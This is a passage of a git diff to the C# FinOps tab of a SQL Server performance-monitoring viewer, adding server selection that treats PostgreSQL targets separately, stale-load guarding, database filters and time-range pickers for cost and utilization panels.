+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Which server the FinOps tab shows, how its picker names it, and whether its reads apply to it. The web FinOps page
+/// opens on the first SQL Server target, labels a PostgreSQL target "(PostgreSQL)" in its server list, and says "Not
+/// collected for PostgreSQL" on a panel a PostgreSQL target cannot answer (<c>finops/gate.js</c>); this is the same
+/// rule for the Viewer, kept out of the window so it can be tested without one.
+///
+/// <para>Almost every FinOps panel reads SQL Server data (query stats, wait stats, database files, memory grants).
+/// Run for a PostgreSQL target, each of those reads came back empty and the tab showed "No Data" or an empty grid with
+/// nothing saying why. Server Inventory is the exception: it lists the whole fleet, PostgreSQL targets included,
+/// whichever server the picker shows, so it keeps loading.</para>
+/// </summary>
+internal static class FinOpsServerChoice
+{
+    /// <summary>The line a panel shows in place of its data for a PostgreSQL target. Same words as the web page.</summary>
+    internal const string PostgresNotCollected = "Not collected for PostgreSQL";
+
+    /// <summary>The picker's text for a server: its display name, and " (PostgreSQL)" after a PostgreSQL target's.</summary>
+    internal static string Label(DarlingServer server)
+    {
+        ArgumentNullException.ThrowIfNull(server);
+        return server.IsPostgres ? server.DisplayName + " (PostgreSQL)" : server.DisplayName;
+    }
+
+    /// <summary>
+    /// The server the FinOps picker shows after its list is built or rebuilt: the server it showed before while that
+    /// one is still listed (a rebuild is not the user choosing a server, and a PostgreSQL target the user picked stays);
+    /// else the sidebar's server when that is a SQL Server target; else the first SQL Server target in the shell's
+    /// order. A list with no SQL Server target falls back to the sidebar's server, then the first one, and the tab says
+    /// "Not collected for PostgreSQL" for it. Null for an empty list.
+    /// </summary>
+    internal static DarlingServer? Selection(IReadOnlyList<DarlingServer> servers, int? previousServerId, int? sidebarServerId)
+    {
+        ArgumentNullException.ThrowIfNull(servers);
+
+        if (servers.Count == 0)
+        {
+            return null;
+        }
+
+        var previous = previousServerId is null ? null : servers.FirstOrDefault(s => s.ServerId == previousServerId);
+        if (previous is not null)
+        {
+            return previous;
+        }
+
+        var sidebar = sidebarServerId is null ? null : servers.FirstOrDefault(s => s.ServerId == sidebarServerId);
+        if (sidebar is { IsPostgres: false })
+        {
+            return sidebar;
+        }
+
+        return servers.FirstOrDefault(s => !s.IsPostgres) ?? sidebar ?? servers[0];
+    }
+
+    /// <summary>
+    /// The line to show in place of a sub-tab's data, or null when its reads run. A PostgreSQL target gets
+    /// <see cref="PostgresNotCollected"/> for every sub-tab that reads one server's SQL Server data; a sub-tab that
+    /// reads the whole fleet (<paramref name="crossServer"/>, Server Inventory) always runs.
+    /// </summary>
+    internal static string? NotCollectedLine(DarlingServer? server, bool crossServer)
+    {
+        return !crossServer && server != null && server.IsPostgres ? PostgresNotCollected : null;
+    }
+
+    /// <summary>The reader's <c>include_removed</c> flag for the Server Inventory "Show removed servers" checkbox: on only when checked, off when unchecked or unset.</summary>
+    internal static bool IncludeRemoved(bool? showRemovedChecked) => showRemovedChecked == true;
+
+    /// <summary>The Server Inventory "N server(s)" line, with the web page's "(removed servers included)" when the box was ticked for the read that produced the list. Blank for an empty list.</summary>
+    internal static string InventoryCountText(int count, bool removedIncluded) =>
+        count > 0 ? $"{count} server(s)" + (removedIncluded ? " (removed servers included)" : "") : "";
+}
+
+/// <summary>
+/// Newest request wins (#5492 round 2), the Viewer's form of the web FinOps tab's <c>seq</c> guard. Each load takes a
+/// token before its reads; when the reads finish it applies its result only if no later load has begun, so a slow read
+/// for "Show removed servers" ticked that finishes after the box was cleared cannot put removed servers back in the grid.
+/// </summary>
+internal sealed class FinOpsLoadSequence
+{
+    private int _latest;
+
+    /// <summary>Starts a load and returns its token. Every earlier token stops being current.</summary>
+    internal int Begin() => System.Threading.Interlocked.Increment(ref _latest);
+
+    /// <summary>True while no load newer than <paramref name="token"/> has begun.</summary>
+    internal bool IsCurrent(int token) => System.Threading.Volatile.Read(ref _latest) == token;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.IndexAnalysis.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.IndexAnalysis.cs
index 8e1b7b6b12..f53f3e452d 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.IndexAnalysis.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.IndexAnalysis.cs
@@ -36,7 +36,8 @@ public partial class FinOpsTab
     /// </summary>
     private async Task LoadFinOpsIndexAnalysisAsync()
     {
-        var result = await _dataService.GetIndexAnalysisAsync(_server.ServerId);
+        var read = await _dataService.GetIndexAnalysisWithSnapshotTimesAsync(_server.ServerId);
+        var result = read.Result;
 
         var nothingCollected = result.DatabaseRollups.Count == 0;
 
@@ -51,8 +52,8 @@ private async Task LoadFinOpsIndexAnalysisAsync()
             return;
         }
 
-        var recs = ViewerDataService.ProjectRecommendations(result);
-        var rollups = ViewerDataService.ProjectRollups(result);
+        var recs = ViewerDataService.ProjectRecommendations(result, read.SnapshotTimes);
+        var rollups = ViewerDataService.ProjectRollups(result, read.SnapshotTimes);
 
         _finopsIndexAnalysisRollupFilterMgr!.UpdateData(rollups);
         _finopsIndexAnalysisFilterMgr!.UpdateData(recs);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs
index 181ad63040..35858f1ea2 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
@@ -17,6 +18,7 @@
 using PerformanceMonitor.Ui;
 
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -131,6 +133,7 @@ private async void FinOpsSubTabs_SelectionChanged(object sender, SelectionChange
             return;
         }
 
+        ApplyServerGate();
         await RefreshActiveSubTabAsync();
     }
 
@@ -140,6 +143,13 @@ private async void FinOpsSubTabs_SelectionChanged(object sender, SelectionChange
     /// </summary>
     private async Task LoadFinOpsAsync()
     {
+        /* A PostgreSQL target has no SQL Server data for any single-server panel: run none of their reads (ApplyServerGate
+           shows the one line). Server Inventory lists the fleet and always runs. */
+        if (FinOpsServerChoice.NotCollectedLine(ServerSelector.SelectedItem as DarlingServer, crossServer: SelectedSubTabIsCrossServer) is not null)
+        {
+            return;
+        }
+
         switch (FinOpsSubTabControl.SelectedIndex)
         {
             case FinOpsDatabaseResourcesSubTabIndex:
@@ -182,6 +192,9 @@ private async Task LoadFinOpsAsync()
         }
     }
 
+    /// <summary>True while Server Inventory, the one sub-tab that reads the whole fleet rather than the picker's server, is the active sub-tab.</summary>
+    private bool SelectedSubTabIsCrossServer => FinOpsSubTabControl.SelectedIndex == FinOpsServerInventorySubTabIndex;
+
     // ── Utilization ──
 
     private async Task LoadFinOpsUtilizationAsync()
@@ -195,10 +208,12 @@ private async Task LoadFinOpsUtilizationAsync()
             data.MonthlyCost = _server.MonthlyCostUsd;
 
             /* Free space % for the storage health score, from the latest database sizes. */
+            /* #5312: deliberately NOT narrowed by the saved database filter. The free-space figure is the server's volume headroom, a
+               server-level health score, not a per-database size, so it reads every database's files whatever the filter says. */
             dbSizes = await _dataService.GetDatabaseSizeLatestAsync(_server.ServerId);
             var totalStorageMb = DatabaseSizeRow.AllocatedTotalMb(dbSizes);
             var totalFreeMb = DatabaseSizeRow.FreeTotalMb(dbSizes);
-            data.FreeSpacePct = totalStorageMb > 0 ? totalFreeMb / totalStorageMb * 100m : 100m;
+            data.FreeSpacePct = FinOpsUtilizationFigures.FreeSpacePct(totalStorageMb, totalFreeMb);
         }
 
         UpdateUtilizationSummary(data);
@@ -211,8 +226,11 @@ private async Task LoadFinOpsUtilizationAsync()
             var topConsumers = await _dataService.GetTopResourceConsumersAsync(_server.ServerId);
             FinOpsTopTotalGrid.ItemsSource = topConsumers.ByTotal;
             FinOpsTopAvgGrid.ItemsSource = topConsumers.ByAvg;
-            var dbSizeSummary = await _dataService.GetDatabaseSizeSummaryAsync(_server.ServerId);
+            var dbSizeSummary = await _dataService.GetDatabaseSizeSummaryAsync(_server.ServerId, databaseNames: SelectedDatabaseFilter);
             FinOpsDbSizeChart.ItemsSource = dbSizeSummary;
+            /* A server with no CPU sample in the window is stale or not collecting: its latest sizes can be days old, so the chart is
+               hidden rather than shown as if they were current. */
+            FinOpsDbSizeChartGroup.Visibility = data.ShowsDatabaseSizeChart ? Visibility.Visible : Visibility.Collapsed;
             /* The caption names only the databases that have a bar, so it is built from the list the chart is painted from. */
             var chartCaption = DatabaseSizeRow.ChartCaption(dbSizes, dbSizeSummary.Select(b => b.DatabaseName));
             FinOpsDbSizeChartCaption.Text = chartCaption ?? "";
@@ -224,6 +242,7 @@ private async Task LoadFinOpsUtilizationAsync()
             FinOpsTopTotalGrid.ItemsSource = null;
             FinOpsTopAvgGrid.ItemsSource = null;
             FinOpsDbSizeChart.ItemsSource = null;
+            FinOpsDbSizeChartGroup.Visibility = Visibility.Collapsed;
             FinOpsDbSizeChartCaption.Text = "";
             FinOpsDbSizeChartCaption.Visibility = Visibility.Collapsed;
             FinOpsProvisioningTrendGrid.ItemsSource = null;
@@ -279,9 +298,10 @@ private void UpdateUtilizationSummary(UtilizationEfficiencyRow? data)
         }
 
         /* CPU text + bars */
-        FinOpsAvgCpuText.Text = $"{data.AvgCpuPct:N2}%";
-        FinOpsP95CpuText.Text = $"{data.P95CpuPct:N2}%";
-        FinOpsMaxCpuText.Text = $"{data.MaxCpuPct}%";
+        /* A window with no CPU sample shows dashes and empty bars: the 0s the read returns came from nothing. */
+        FinOpsAvgCpuText.Text = data.AvgCpuText;
+        FinOpsP95CpuText.Text = data.P95CpuText;
+        FinOpsMaxCpuText.Text = data.MaxCpuText;
         FinOpsCpuSamplesText.Text = data.CpuSamples.ToString("N0");
         /* On an Azure SQL Database the count is its vCores, named as vCores, and n/a where its service objective names none: the
            scheduler count it can see is never shown as the CPU it is given. */
@@ -290,26 +310,21 @@ scheduler count it can see is never shown as the CPU it is given. */
         /* The in-use count is n/a where it was not collected (NULL on an Azure SQL Database), never 0; the maximum shows as stored. */
         FinOpsWorkerThreadsText.Text = ServerHardwareScope.WorkerThreadsText(data.CurrentWorkersCount, data.MaxWorkersCount);
 
-        SetBar(FinOpsAvgCpuBar, FinOpsAvgCpuFilled, FinOpsAvgCpuEmpty, (double)data.AvgCpuPct);
-        SetBar(FinOpsP95CpuBar, FinOpsP95CpuFilled, FinOpsP95CpuEmpty, (double)data.P95CpuPct);
-        SetBar(FinOpsMaxCpuBar, FinOpsMaxCpuFilled, FinOpsMaxCpuEmpty, data.MaxCpuPct);
+        SetBar(FinOpsAvgCpuBar, FinOpsAvgCpuFilled, FinOpsAvgCpuEmpty, data.HasCpuSample ? (double)data.AvgCpuPct : 0);
+        SetBar(FinOpsP95CpuBar, FinOpsP95CpuFilled, FinOpsP95CpuEmpty, data.HasCpuSample ? (double)data.P95CpuPct : 0);
+        SetBar(FinOpsMaxCpuBar, FinOpsMaxCpuFilled, FinOpsMaxCpuEmpty, data.HasCpuSample ? data.MaxCpuPct : 0);
 
         /* Stolen Memory % = (Total Server Memory - Buffer Pool) / Total Server Memory */
-        var stolenPct = data.TotalMemoryMb > 0
-            ? (double)(data.TotalMemoryMb - data.BufferPoolMb) / data.TotalMemoryMb * 100.0
-            : 0;
+        var stolenPct = FinOpsUtilizationFigures.StolenMemoryPct(data.TotalMemoryMb, data.BufferPoolMb);
         FinOpsMemoryUtilText.Text = $"{stolenPct:N0}%";
         SetBar(FinOpsMemoryUtilBar, FinOpsMemUtilFilled, FinOpsMemUtilEmpty, stolenPct);
 
         /* Buffer Pool % = Buffer Pool / Physical Memory */
-        var bpPct = data.PhysicalMemoryMb > 0
-            ? (double)data.BufferPoolMb / data.PhysicalMemoryMb * 100.0
-            : 0;
+        var bpPct = FinOpsUtilizationFigures.BufferPoolPct(data.BufferPoolMb, data.PhysicalMemoryMb);
 
         /* Physical memory and the buffer pool's share of it come from memory_stats, which on an Azure SQL Database is the
            database's own (its memory limit, from committed_target_kb), not the host's RAM. So both are shown on every
            edition, and only the caption and the verdict's wording change there. */
-        var azureSqlDb = ServerHardwareScope.HardwareIsTheHosts(data.EngineEdition);
         FinOpsMemoryRatioText.Text = $"{bpPct:N0}%";
         SetBar(FinOpsMemoryRatioBar, FinOpsMemRatioFilled, FinOpsMemRatioEmpty, bpPct);
 
@@ -319,20 +334,7 @@ scheduler count it can see is never shown as the CPU it is given. */
         FinOpsTotalMemoryText.Text = $"{data.TotalMemoryMb:N0} MB";
         FinOpsBufferPoolText.Text = $"{data.BufferPoolMb:N0} MB";
 
-        FinOpsClassificationExplanation.Text = data.ProvisioningStatus switch
-        {
-            "RIGHT_SIZED" => ServerHardwareScope.RightSizedExplanation(data.AvgCpuPct, data.P95CpuPct, bpPct, azureSqlDb),
-            "OVER_PROVISIONED" => ServerHardwareScope.OverProvisionedExplanation(data.AvgCpuPct, data.MaxCpuPct, bpPct, azureSqlDb),
-            /* The reason comes from the same place as the verdict. This branch used to read
-               "P95CpuPct > 85 ? CPU : memory ratio is {x} (threshold: 0.95)", so a server flagged for grant
-               pressure or worker saturation would have been explained as a memory ratio that no longer
-               decides anything, citing a threshold the code does not check (#2246). */
-            "UNDER_PROVISIONED" => ProvisioningVerdict.UnderProvisionedReason(
-                data.P95CpuPct, data.MaxGrantWaiters, data.GrantTimeouts, data.ForcedGrants,
-                data.MaxWorkersCount, data.CurrentWorkersCount),
-            ProvisioningVerdict.NotApplicable => ProvisioningVerdict.NotApplicableExplanation,
-            _ => ""
-        };
+        FinOpsClassificationExplanation.Text = FinOpsUtilizationFigures.Explanation(data.ToDto(), CultureInfo.CurrentCulture);
 
         /* Cost summary cards — shown only when a monthly budget is configured (0 = hidden, like Lite). */
         if (data.MonthlyCost > 0)
@@ -351,9 +353,10 @@ pressure or worker saturation would have been explained as a memory ratio that n
         /* Health score: CPU, memory and storage on every edition. The memory term reads memory_stats, which on an Azure SQL
            Database is the database's own. */
         data.HealthScore = data.ComputeHealthScore();
-        /* A window with no CPU sample has no CPU term (ComputeHealthScore leaves it out), and the tooltip says so. */
-        FinOpsHealthScoreBorder.ToolTip = data.HasCpuSample ? null : ServerHardwareScope.HealthScoreWithoutCpuNote;
-        FinOpsHealthScoreText.Text = $"Health: {data.HealthScore}";
+        /* A window with no CPU sample has no score: the memory and storage terms alone would read a full 100 next to "No Data".
+           It shows a dash on a gray badge, and the tooltip says why. */
+        FinOpsHealthScoreBorder.ToolTip = data.HasCpuSample ? null : FinOpsHealthCalculator.NoScoreNote;
+        FinOpsHealthScoreText.Text = data.HealthScoreText;
         FinOpsHealthScoreBorder.Background = new SolidColorBrush((Color)ColorConverter.ConvertFromString(data.HealthScoreColor));
         FinOpsHealthScoreBorder.Visibility = Visibility.Visible;
     }
@@ -374,13 +377,22 @@ private static void SetBar(Border bar, ColumnDefinition filled, ColumnDefinition
         empty.Width = new GridLength(Math.Max(100 - clamped, 0.1), GridUnitType.Star);
     }
 
-    private static int HoursBackFromIndex(ComboBox combo) => combo.SelectedIndex switch { 0 => 1, 1 => 4, 2 => 12, 3 => 24, 4 => 168, _ => 24 };
+    /// <summary>The hours-back a FinOps list reads for its picker (#5562 R5). These reads take "hours back from now", so the
+    /// pickers are rolling-only in whole hours (<see cref="RollingUnitRule"/>): the span is the hours back, exactly. The
+    /// round-up in <see cref="ViewerTimeRangeWindow.HoursBack"/> is only a guard; the picker never offers a finished period
+    /// or a span under an hour.</summary>
+    private static int HoursBackFromPicker(TimeRangePicker picker)
+    {
+        var now = DateTime.UtcNow;
+        var (startUtc, _, _) = ViewerTimeRangeWindow.Window(picker.Value, now, ViewerTimeHelper.CurrentDisplayZone());
+        return ViewerTimeRangeWindow.HoursBack(startUtc, now);
+    }
 
     // ── Database Resources ──
 
     private async Task LoadFinOpsDatabaseResourcesAsync()
     {
-        var hoursBack = HoursBackFromIndex(FinOpsResourceUsageTimeRangeCombo);
+        var hoursBack = HoursBackFromPicker(FinOpsResourceUsageTimeRangeCombo);
         var data = await _dataService.GetDatabaseResourceUsageAsync(_server.ServerId, hoursBack);
         _finopsDbResourcesFilterMgr!.UpdateData(data);
         FinOpsNoDatabaseResourcesMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
@@ -391,7 +403,7 @@ private async Task LoadFinOpsDatabaseResourcesAsync()
 
     private async Task LoadFinOpsDatabaseSizesAsync()
     {
-        var data = await _dataService.GetDatabaseSizeLatestAsync(_server.ServerId);
+        var data = await _dataService.GetDatabaseSizeLatestAsync(_server.ServerId, SelectedDatabaseFilter);
 
         /* Proportional cost share by size (mirrors Lite's LoadDatabaseSizesAsync). */
         if (_server.MonthlyCostUsd > 0 && data.Count > 0)
@@ -401,7 +413,7 @@ private async Task LoadFinOpsDatabaseSizesAsync()
             if (totalMb > 0)
             {
                 foreach (var d in data)
-                    d.MonthlyCostShare = ((d.TotalSizeMb ?? 0m) / totalMb) * _server.MonthlyCostUsd;
+                    d.MonthlyCostShare = FinOpsCost.StorageShare(d.TotalSizeMb ?? 0m, totalMb, _server.MonthlyCostUsd);
             }
         }
 
@@ -417,7 +429,7 @@ private async Task LoadFinOpsDatabaseSizesAsync()
 
     private async Task LoadFinOpsPvsStatsAsync()
     {
-        var data = await _dataService.GetPvsStatsLatestAsync(_server.ServerId);
+        var data = await _dataService.GetPvsStatsLatestAsync(_server.ServerId, SelectedDatabaseFilter);
 
         _finopsPvsStatsFilterMgr!.UpdateData(data);
         FinOpsNoPvsStatsMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
@@ -425,7 +437,7 @@ private async Task LoadFinOpsPvsStatsAsync()
 
         /* #1984 stage 2: the trend beside the grid — "when did it start growing" on the same axis
            family as Storage Growth. Top-5 databases by current PVS size, 7 days of hourly points. */
-        var trend = await _dataService.GetPvsTrendAsync(_server.ServerId, DateTime.UtcNow.AddDays(-7));
+        var trend = await _dataService.GetPvsTrendAsync(_server.ServerId, DateTime.UtcNow.AddDays(-7), SelectedDatabaseFilter);
         RenderPvsTrendChart(trend);
     }
 
@@ -484,7 +496,7 @@ private async Task LoadFinOpsApplicationConnectionsAsync()
 
     private async Task LoadFinOpsHighImpactAsync()
     {
-        var hoursBack = HoursBackFromIndex(FinOpsHighImpactTimeRangeCombo);
+        var hoursBack = HoursBackFromPicker(FinOpsHighImpactTimeRangeCombo);
         var data = await _dataService.GetHighImpactQueriesAsync(_server.ServerId, hoursBack);
         _finopsHighImpactFilterMgr!.UpdateData(data);
         FinOpsHighImpactNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
@@ -507,8 +519,9 @@ await Task.WhenAll(
 
     private async Task LoadFinOpsIdleDatabasesAsync()
     {
-        var data = await _dataService.GetIdleDatabasesAsync(_server.ServerId);
+        var (covered, data) = await _dataService.GetIdleDatabaseReadAsync(_server.ServerId);
         _finopsIdleDbsFilterMgr!.UpdateData(data);
+        FinOpsIdleDatabasesNoDataMessage.Text = DarlingFinOpsOptimizationReader.IdleDatabasesEmptyText(covered);
         FinOpsIdleDatabasesNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         FinOpsIdleDatabasesCountIndicator.Text = data.Count > 0 ? $"{data.Count} idle database(s)" : "";
     }
@@ -522,18 +535,18 @@ private async Task LoadFinOpsTempdbSummaryAsync()
 
     private async Task LoadFinOpsWaitCategorySummaryAsync()
     {
-        var hoursBack = HoursBackFromIndex(FinOpsWaitStatsTimeRangeCombo);
+        var hoursBack = HoursBackFromPicker(FinOpsWaitStatsTimeRangeCombo);
         var data = await _dataService.GetWaitCategorySummaryAsync(_server.ServerId, hoursBack);
 
-        /* Proportional cost share scaled to the window (mirrors Lite: budget * hoursBack/730). */
+        /* Proportional cost share scaled to the window (mirrors Lite: the monthly budget scaled by the window hours). */
         if (_server.MonthlyCostUsd > 0 && data.Count > 0)
         {
-            var windowBudget = _server.MonthlyCostUsd * (hoursBack / 730.0m);
+            var windowBudget = FinOpsCost.WindowBudget(_server.MonthlyCostUsd, hoursBack);
             var totalWait = data.Sum(w => w.TotalWaitTimeMs);
             if (totalWait > 0)
             {
                 foreach (var w in data)
-                    w.MonthlyCostShare = (w.TotalWaitTimeMs / (decimal)totalWait) * windowBudget;
+                    w.MonthlyCostShare = FinOpsCost.Share(w.TotalWaitTimeMs, (decimal)totalWait, windowBudget);
             }
         }
 
@@ -543,18 +556,18 @@ private async Task LoadFinOpsWaitCategorySummaryAsync()
 
     private async Task LoadFinOpsExpensiveQueriesAsync()
     {
-        var hoursBack = HoursBackFromIndex(FinOpsExpensiveQueriesTimeRangeCombo);
+        var hoursBack = HoursBackFromPicker(FinOpsExpensiveQueriesTimeRangeCombo);
         var data = await _dataService.GetExpensiveQueriesAsync(_server.ServerId, hoursBack);
 
-        /* Proportional cost share scaled to the window (mirrors Lite: budget * hoursBack/730). */
+        /* Proportional cost share scaled to the window (mirrors Lite: the monthly budget scaled by the window hours). */
         if (_server.MonthlyCostUsd > 0 && data.Count > 0)
         {
-            var windowBudget = _server.MonthlyCostUsd * (hoursBack / 730.0m);
+            var windowBudget = FinOpsCost.WindowBudget(_server.MonthlyCostUsd, hoursBack);
             var totalCpu = data.Sum(q => q.TotalCpuMs);
             if (totalCpu > 0)
             {
                 foreach (var q in data)
-                    q.MonthlyCostShare = (q.TotalCpuMs / (decimal)totalCpu) * windowBudget;
+                    q.MonthlyCostShare = FinOpsCost.Share(q.TotalCpuMs, (decimal)totalCpu, windowBudget);
             }
         }
 
@@ -585,17 +598,21 @@ private async Task LoadFinOpsMemoryGrantEfficiencyAsync()
 
     // ── Server Inventory (cross-server) ──
 
+    /* Newest Server Inventory load wins: a read that finishes after a later one began is dropped (#5492 round 2). */
+    private readonly FinOpsLoadSequence _finopsInventoryLoads = new();
+
     private async Task LoadFinOpsServerInventoryAsync()
     {
-        var servers = await _dataService.GetServerInventoryAsync();
+        var token = _finopsInventoryLoads.Begin();
+        var includeRemoved = FinOpsServerChoice.IncludeRemoved(FinOpsShowRemovedCheck.IsChecked);
+        var servers = await _dataService.GetServerInventoryAsync(includeRemoved);
 
-        /* Overlay each server's collected metrics + compute the health score (mirrors Lite's
-           LoadServerInventoryAsync minus the live query). memScore/storScore use Lite's inventory-path
-           defaults (buffer-pool ratio / file-level free space aren't in the inventory read).
+        /* Overlay each server's collected metrics + health score (mirrors Lite's LoadServerInventoryAsync minus the live query).
            #4227: ONE fleet round trip for every server's metrics, not one per server — the fan-out lanes
            this loop used to need (#3016) existed only to bound how many PER-SERVER reads ran concurrently,
            and there is now exactly one read total. */
         var metrics = await _dataService.GetServerMetricsAsync();
+        if (!_finopsInventoryLoads.IsCurrent(token)) return;
         foreach (var item in servers)
         {
             if (metrics.TryGetValue(item.ServerId, out var row))
@@ -604,19 +621,15 @@ and there is now exactly one read total. */
                 if (row.StorageTotalGb.HasValue) item.StorageTotalGb = row.StorageTotalGb;
                 if (row.IdleDbCount.HasValue) item.IdleDbCount = row.IdleDbCount;
                 if (row.ProvisioningStatus != null) item.ProvisioningStatus = row.ProvisioningStatus;
-            }
 
-            /* A server with no CPU sample in the window has a null average: its CPU term is left out, because scoring it
-               as 0% CPU would hand it a full 100 made from nothing. */
-            int? cpuScore = item.AvgCpuPct is decimal avgCpu ? FinOpsHealthCalculator.CpuScore(avgCpu) : null;
-            var memScore = 80;
-            var storScore = FinOpsHealthCalculator.StorageScore(50);
-            item.HealthScore = FinOpsHealthCalculator.Overall(cpuScore, memScore, storScore);
+                /* The Utilization view's own score for this server (same p95 CPU, buffer pool and free space); null (a dash) with no CPU sample. */
+                item.HealthScore = row.HealthScore;
+            }
         }
 
         _finopsServerInventoryFilterMgr!.UpdateData(servers);
         FinOpsNoServerInventoryMessage.Visibility = servers.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
-        FinOpsServerInventoryCountIndicator.Text = servers.Count > 0 ? $"{servers.Count} server(s)" : "";
+        FinOpsServerInventoryCountIndicator.Text = FinOpsServerChoice.InventoryCountText(servers.Count, includeRemoved);
     }
 
     // ── Refresh buttons + time-range combos (all route through the shell's overlap-guarded loop where they
@@ -630,27 +643,34 @@ as 0% CPU would hand it a full 100 made from nothing. */
     private async void FinOpsRefreshApplicationConnections_Click(object sender, RoutedEventArgs e) => await RunFinOpsLoad(LoadFinOpsApplicationConnectionsAsync);
     private async void FinOpsRefreshHighImpact_Click(object sender, RoutedEventArgs e) => await RunFinOpsLoad(LoadFinOpsHighImpactAsync);
     private async void FinOpsRefreshServerInventory_Click(object sender, RoutedEventArgs e) => await RunFinOpsLoad(LoadFinOpsServerInventoryAsync);
+
+    /// <summary>Ticking or clearing "Show removed servers" reloads the list, and its "N server(s)" count follows the list it shows. Ignored until the tab is loaded, so the XAML's own initial state does not read.</summary>
+    private async void FinOpsShowRemoved_Changed(object sender, RoutedEventArgs e)
+    {
+        if (!IsLoaded) return;
+        await RunFinOpsLoad(LoadFinOpsServerInventoryAsync);
+    }
     private async void FinOpsOptimizationRefresh_Click(object sender, RoutedEventArgs e) => await RunFinOpsLoad(LoadFinOpsOptimizationAsync);
 
-    private async void FinOpsResourceUsageTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void FinOpsResourceUsageTimeRange_Changed(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded) return;
         await RunFinOpsLoad(LoadFinOpsDatabaseResourcesAsync);
     }
 
-    private async void FinOpsWaitStatsTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void FinOpsWaitStatsTimeRange_Changed(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded) return;
         await RunFinOpsLoad(LoadFinOpsWaitCategorySummaryAsync);
     }
 
-    private async void FinOpsExpensiveQueriesTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void FinOpsExpensiveQueriesTimeRange_Changed(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded) return;
         await RunFinOpsLoad(LoadFinOpsExpensiveQueriesAsync);
     }
 
-    private async void FinOpsHighImpactTimeRange_Changed(object sender, SelectionChangedEventArgs e)
+    private async void FinOpsHighImpactTimeRange_Changed(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded) return;
         await RunFinOpsLoad(LoadFinOpsHighImpactAsync);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Locking.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Locking.cs
index a460020a57..805cd52831 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Locking.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Locking.cs
@@ -42,7 +42,7 @@ private async Task LoadFinOpsIndexLockingAsync()
 
     private async Task PopulateFinOpsLockingDbSelectorAsync()
     {
-        var dbs = await _dataService.GetIndexLockingDatabasesAsync(_server.ServerId);
+        var dbs = await _dataService.GetIndexLockingDatabasesAsync(_server.ServerId, SelectedDatabaseFilter);
         var items = new List<string> { "All databases" };
         items.AddRange(dbs);
 
@@ -58,14 +58,14 @@ private async Task PopulateFinOpsLockingDbSelectorAsync()
     private async Task LoadFinOpsIndexLockingGridAsync()
     {
         var db = SelectedFinOpsLockingDb();
-        var data = await _dataService.GetIndexLockingAsync(_server.ServerId, 200, db);
+        var data = await _dataService.GetIndexLockingAsync(_server.ServerId, 200, db, SelectedDatabaseFilter);
         ApplyFinOpsLockingHeat(data);
         _finopsIndexLockingFilterMgr!.UpdateData(data);
         FinOpsNoIndexLockingMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         FinOpsIndexLockingCountIndicator.Text = data.Count > 0 ? $"{data.Count} index(es)" : "";
 
         /* Writers on an optimized-locking database wait on transaction-ID locks the grid's counters do not count. */
-        var optimizedLockingNote = await _dataService.GetOptimizedLockingNoteAsync(_server.ServerId);
+        var optimizedLockingNote = await _dataService.GetOptimizedLockingNoteAsync(_server.ServerId, SelectedDatabaseFilter);
         FinOpsOptimizedLockingNote.Text = optimizedLockingNote ?? "";
         FinOpsOptimizedLockingNote.Visibility = optimizedLockingNote is null ? Visibility.Collapsed : Visibility.Visible;
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.ObjectHeatmap.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.ObjectHeatmap.cs
index 3436f1dbf9..6169479d89 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.ObjectHeatmap.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.ObjectHeatmap.cs
@@ -44,13 +44,20 @@ private enum FinOpsStorageDrillLevel { Parent, Objects, Indexes }
     private TextBlock? _finopsObjHeatmapPopupText;
     private DateTime _finopsLastObjHeatmapHover;
 
-    private int GetFinOpsObjectHeatmapDaysBack() => FinOpsObjectHeatmapWindowCombo?.SelectedIndex switch
+    /// <summary>Whole days back for the object heatmap (#5562 R5). The picker is rolling-only in whole days
+    /// (<see cref="RollingUnitRule"/>), so the span is the days back, exactly; the round-up is only a guard. The old combo
+    /// offered 7, 30 and 90 days; the picker's "1mo" is 30, and any other length is typed.</summary>
+    private int GetFinOpsObjectHeatmapDaysBack()
     {
-        0 => 7,
-        1 => 30,
-        2 => 90,
